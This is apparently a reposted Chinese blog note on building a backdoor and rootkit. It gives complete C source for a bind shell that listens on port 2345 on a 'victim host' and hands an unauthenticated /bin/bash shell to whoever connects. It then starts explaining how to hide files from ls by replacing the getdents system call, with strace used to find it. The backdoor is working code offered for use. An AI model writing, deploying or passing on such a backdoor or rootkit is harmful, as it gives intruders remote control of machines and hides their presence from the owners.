backdoor+rootkit笔记

1、在受害主机上开启一个端口,并等待其它主机连接,连接后打开一个shell

server一般打开端口,被动侦听,不需要知道客户端的IP和端口;而client发起请求,必须知道服务器端的IP和端口。

#include<stdio.h>
#include<unistd.h>
#include<netinet/in.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<string.h>
int main(){

    int listenfd, connfd;
    struct sockaddr_in servaddr,cliaddr;
    char buff[1024];
    int clilen;    
    int n;

    listenfd = socket(AF_INET,SOCK_STREAM,0); //创建一个流套接字
    bzero(&servaddr,sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
    servaddr.sin_port = htons(2345);

    if(bind(listenfd,(struct sockaddr *)&servaddr,sizeof(servaddr))<0)//将地址和端口绑定到socket上
        printf("bind error!\n");    

    listen(listenfd,10);       //侦听该socket是否有其它套接字接入
    clilen = sizeof(cliaddr);
    printf("serverfd is %d, connfd is %d.\n",listenfd,connfd);
    while(1){
        connfd = accept(listenfd,(struct sockaddr *)&cliaddr,&clilen); //侦听到一个连接
        send(connfd,"Welcome to Server!\n",19,0);  //向该连接另一端发送数据

        dup2(connfd,0);        //向连接复制文件内容
        dup2(connfd,1);
        dup2(connfd,2);
        execlp("/bin/bash","/bin/bash",NULL);  //执行命令行,生成一个新的shell

    }
    close(connfd);    //关闭连接
    close(listenfd);   //关闭侦听文件
}

Linux的文件描述符中有三个是特殊的,任何进程都一样的,0、1、2,分别代表标准输入,标准输出和标准出错,而它们都指向同一个tty(teleType,终端)。

PS: 以上使用均为用户态API,通过gcc生成执行代码。

2、rootkit之ls命令的偷梁换柱

1)寻找系统调用

$ strace ls

strace的最简单的用法就是执行一个指定的命令,在指定的命令结束之后它也就退出了。在命令执行的过程中,strace会记录和解析命令进程的所有系统调用以及这个进程所接收到的所有的信号值。

可以看到,ls命令中会执行一个叫做getdents的系统调用,我们的目的就是用自己的getdents替换原来的getdents系统调用。

猜你喜欢

转载自www.cnblogs.com/dmzxxmeng/p/10807263.html